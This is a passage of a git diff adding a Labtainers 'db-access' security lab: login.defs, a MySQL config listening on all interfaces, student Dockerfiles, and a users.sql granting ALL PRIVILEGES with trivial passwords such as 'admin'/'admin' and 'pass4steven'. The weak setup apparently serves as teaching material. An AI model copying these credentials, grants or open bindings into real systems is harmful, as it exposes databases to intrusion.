fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/mysql/mysql.conf.d/mysqld.cnf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/mysql/mysql.conf.d/mysqld.cnf new file mode 100644 index 000000000..03144a719 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/mysql/mysql.conf.d/mysqld.cnf @@ -0,0 +1,105 @@ +# +# The MySQL database server configuration file. +# +# You can copy this to one of: +# - "/etc/mysql/my.cnf" to set global options, +# - "~/.my.cnf" to set user-specific options. +# +# One can use all long options that the program supports. +# Run program with --help to get a list of available options and with +# --print-defaults to see which it would actually understand and use. +# +# For explanations see +# http://dev.mysql.com/doc/mysql/en/server-system-variables.html + +# This will be passed to all mysql clients +# It has been reported that passwords should be enclosed with ticks/quotes +# escpecially if they contain "#" chars... +# Remember to edit /etc/mysql/debian.cnf when changing the socket location. + +# Here is entries for some specific programs +# The following values assume you have at least 32M ram + +[mysqld_safe] +socket = /var/run/mysqld/mysqld.sock +nice = 0 + +[mysqld] +# +# * Basic Settings +# +user = mysql +pid-file = /var/run/mysqld/mysqld.pid +socket = /var/run/mysqld/mysqld.sock +port = 3306 +basedir = /usr +datadir = /var/lib/mysql +tmpdir = /tmp +lc-messages-dir = /usr/share/mysql +skip-external-locking +# +# Instead of skip-networking the default is now to listen only on +# localhost which is more compatible and is not less secure. +bind-address = 0.0.0.0 +# +# * Fine Tuning +# +key_buffer_size = 16M +max_allowed_packet = 16M +thread_stack = 192K +thread_cache_size = 8 +# This replaces the startup script and checks MyISAM tables if needed +# the first time they are touched +myisam-recover-options = BACKUP +#max_connections = 100 +#table_open_cache = 64 +#thread_concurrency = 10 +# +# * Query Cache Configuration +# +query_cache_limit = 1M +query_cache_size = 16M +# +# * Logging and Replication +# +# Both location gets rotated by the cronjob. +# Be aware that this log type is a performance killer. +# As of 5.1 you can enable the log at runtime! +general_log_file = /var/log/mysql/mysql.log +general_log = 1 +# +# Error log - should be very few entries. +# +log_error = /var/log/mysql/error.log +# +# Here you can see queries with especially long duration +slow_query_log = 1 +slow_query_log_file = /var/log/mysql/mysql-slow.log +#long_query_time = 2 +#log-queries-not-using-indexes +# +# The following can be used as easy to replay backup logs or for replication. +# note: if you are setting up a replication slave, see README.Debian about +# other settings you may need to change. +#server-id = 1 +#log_bin = /var/log/mysql/mysql-bin.log +expire_logs_days = 10 +max_binlog_size = 100M +#binlog_do_db = include_database_name +#binlog_ignore_db = include_database_name +# +# * InnoDB +# +# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/. +# Read the manual for more InnoDB related options. There are many! +# +# * Security Features +# +# Read the manual, too, if you want chroot! +# chroot = /var/lib/mysql/ +# +# For generating SSL certificates I recommend the OpenSSL GUI "tinyca". +# +# ssl-ca=/etc/mysql/cacert.pem +# ssl-cert=/etc/mysql/server-cert.pem +# ssl-key=/etc/mysql/server-key.pem diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/firefox b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/usr/bin/firefox similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/bin/firefox rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/usr/bin/firefox diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/var/tmp/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/var/tmp/home.tar similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/system/var/tmp/home.tar rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/var/tmp/home.tar diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/users.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/users.sql new file mode 100644 index 000000000..f454b7c22 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/users.sql @@ -0,0 +1,18 @@ +# Creating accounts for remote hosts +CREATE user 'admin'@'localhost' IDENTIFIED BY 'admin'; +GRANT ALL PRIVILEGES ON *.* TO 'admin'@'localhost' WITH GRANT OPTION; + +CREATE USER 'steven'@'executive' IDENTIFIED BY 'pass4steven'; +GRANT ALL PRIVILEGES ON *.* TO 'steven'@'executive'; + +CREATE USER 'susan'@'hr' IDENTIFIED BY 'pass4susan'; +GRANT ALL PRIVILEGES ON *.* TO 'susan'@'hr'; + +CREATE USER 'nancy'@'finance' IDENTIFIED BY 'pass4nancy'; +GRANT ALL PRIVILEGES ON *.* TO 'nancy'@'finance'; + +CREATE USER 'david'@'it' IDENTIFIED BY 'pass4david'; +GRANT ALL PRIVILEGES ON *.* TO 'david'@'it'; + +FLUSH PRIVILEGES; + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.database.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.database.student new file mode 100644 index 000000000..e06157bb4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.database.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.mysql +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +RUN apt-get update && apt-get install -y --no-install-recommends mysql-workbench xdg-utils libcanberra-gtk3-module firefox sqlite3 && rm -rf /var/cache/apt/ + +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.executive.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.executive.student new file mode 100644 index 000000000..9437aae46 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.executive.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +RUN apt-get update && apt-get install mysql-client -y +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.finance.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.finance.student new file mode 100644 index 000000000..9437aae46 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.finance.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +RUN apt-get update && apt-get install mysql-client -y +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.hr.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.hr.student new file mode 100644 index 000000000..9437aae46 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.hr.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +RUN apt-get update && apt-get install mysql-client -y +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.it.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.it.student new file mode 100644 index 000000000..ebf0a9245 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/dockerfiles/Dockerfile.db-access.it.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +RUN apt-get update && apt-get install mysql-client -y +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/Makefile new file mode 100644 index 000000000..71cf7313d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/Makefile @@ -0,0 +1,6 @@ +db-access.pdf: db-access.docx + soffice --convert-to pdf db-access.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/db-access.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/db-access.docx new file mode 100755 index 000000000..be254b682 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/db-access.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/db-access.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/db-access.pdf new file mode 100644 index 000000000..2caf0c664 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/db-access.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/read_first.txt new file mode 100644 index 000000000..f557a4946 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/db-access.pdf + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/prestop new file mode 100755 index 000000000..2a1ac18c2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/prestop @@ -0,0 +1,2 @@ +#!/bin/bash +su - steven -c 'mysql -u steven -h database -ppass4steven -e "source steven.sql"' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/treataslocal new file mode 100644 index 000000000..0eaebf127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_bin/treataslocal @@ -0,0 +1 @@ +mysql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/executive/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file 